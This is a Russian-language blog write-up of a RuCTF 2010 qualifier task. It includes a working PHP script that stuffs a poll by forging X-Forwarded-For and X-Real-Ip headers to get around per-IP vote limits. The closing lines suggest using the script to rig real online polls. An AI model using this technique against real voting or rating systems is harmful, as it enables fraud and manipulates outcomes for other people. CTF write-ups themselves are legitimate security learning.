RuCTF 2010 Quals. Задание CTB 100.
Практически случайным, но попутным ветром меня закинуло в отборочный этап соревнований RuCTF 2010. Это был не традиционный Capture the flag, а специальные задания, успешное выполнение которых отделяло лузеров от вынеров =) А дальше самых вынеров в финал RuCTF. Задания раскиданы по категориям: Admin (задания на администрирование), CTB (хакинг сайтов), Crypto (криптография), Forensics (судебная экспертиза), JoyStory (развлекательная ветка, творческие задания), PPC (программирование), Reverse (дебаг, отладка приложений), Stegano (стеганография). В каждой категории по 5 заданий, расположенных в порядке увеличения числа заработанных очков за его решения. От 100 до пятисот с шагом в 100 соответственно. При этом, глядя на scoreboard (там показывается сколько человек уже решило задание) не могу сказать, что сложность заданий адекватна количеству очков за его выполнения.
В силу специфики моих увлечений решить хотя бы одну задачу было делом чести =) Как-то с ходу налетел на CTB 100. CTB означает Crack the Box. На отдельном домене якобы ведется голосование за твою команду и твоя задача обеспечить ей проходной был выше определенного порога голосов. Естественно голосов нужно не 3 и даже не десять, при этом система запоминает IP адрес проголосовавшего =) Сразу был запущен FireFox с плагином LiveHTTPHeaders и первый голос-пакет был успешно зафиксирован.
Естественно процесс голосования предполагал автоматизацию процесса. Как-нибудь я обязательно покажу свой собственный каркас модуля для автоматических регистраций, но для решения данной задачи оттуда была взята лишь одна функция и та в последствии была обрезанная до уровня базовых операторов. Собственно, вот код:
// set_time_limit(0);
error_reporting(7);for ($i=1;$i<>250;$i++) {
$socket = fsockopen(“voteme.quals2010.ructf.org”, 80, $errno, $errstr, 30);
if(!$socket)
{
echo $errstr($errno);
//echo ” Mlya, oblom. Gladi fsockopen..”;
}
else
{
//echo “Connect OK!”;fputs($socket, “POST / HTTP/1.1\r\n”);
fputs($socket, “Host: voteme.quals2010.ructf.org\r\n”);
fputs($socket, “X-Forwarded-For: 172.16.3.”.$i.”\r\n”);
fputs($socket, “X-Real-Ip: 172.16.3.”.$i.”\r\n”);
// fputs($socket, “Connection: close\r\n”); //Connection: keep-alive in original POST detected )) \r\n
fputs($socket, “Referer: http://voteme.quals2010.ructf.org/\r\n”);
fputs($socket, “Content-Type: application/x-www-form-urlencoded\r\n”);
fputs($socket, “User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n”);
fputs($socket, “Content-Length: 7\r\n\r\n”);
fputs($socket, “team=47″);/* while(!feof($socket))
{
$res .= fgets($socket);
}
fclose($socket);
//sleep(1); */
}
echo $i,”
“;//,$res;
}
?>
Изюминкой безусловно является момент подделывания ip-адресов. Без этого мои голоса не засчитывались и впустую были отправлены десятки тысяч запросов, а может и не впустую. Но как видно по скрипту, никаких проксей он не использует, а лишь имитирует)) Также определенным нюансом является наличие Connection: keep-alive. Сперва я сменил его на Close, а потом вообще закомментировал от греха подальше. Естественно проверка Referer в наличии.
Очень смешно выглядят попытки других команд натурально накрутить голоса, мольбами на весь рунет отдать за них свои голоса. Некоторые фанаты даже писали похожие голосовалки, но игнорировали специфику конкурса и скатывались к обычным проксям. Я бы за такое снимал с конкурса. Совет организаторам – сразу фильтровать ip-адреса членов команды от ip-адресов всяких левых Васей в пижаме. Или проводить голсование так, как оно бы проводилось в реальной жизни, с баном участника голосования за накрутку.
Задача была решена единолично практически с ходу, минут за 30, принеся команде долгожданные первые сто баллов! А вот дальше как-то не сложилось)) То ли хватались, то за это, то за то… В общем, настрой пропал. И даже ветку JoyStory просто слили, не заработав там баллов. Последние сутки уже просто забили на конкурс. Итог конечно печальный, 40 место из 47 комманд, но потенциал есть и его надо развивать. Несколько хороших мыслей по решению заданий пришло в голову, но развивать их было уже не с кем. На самом деле, думаю, реально было замкнуть десятку, просто рано опустили руки.
Скрипт между делом можно реально использовать для накрутки голосований, метода думаю всем понятна, остальное вопрос навыков.
Да, так явно намного грамотнее и красивее будет, чем тупо гонять посты через прокси =)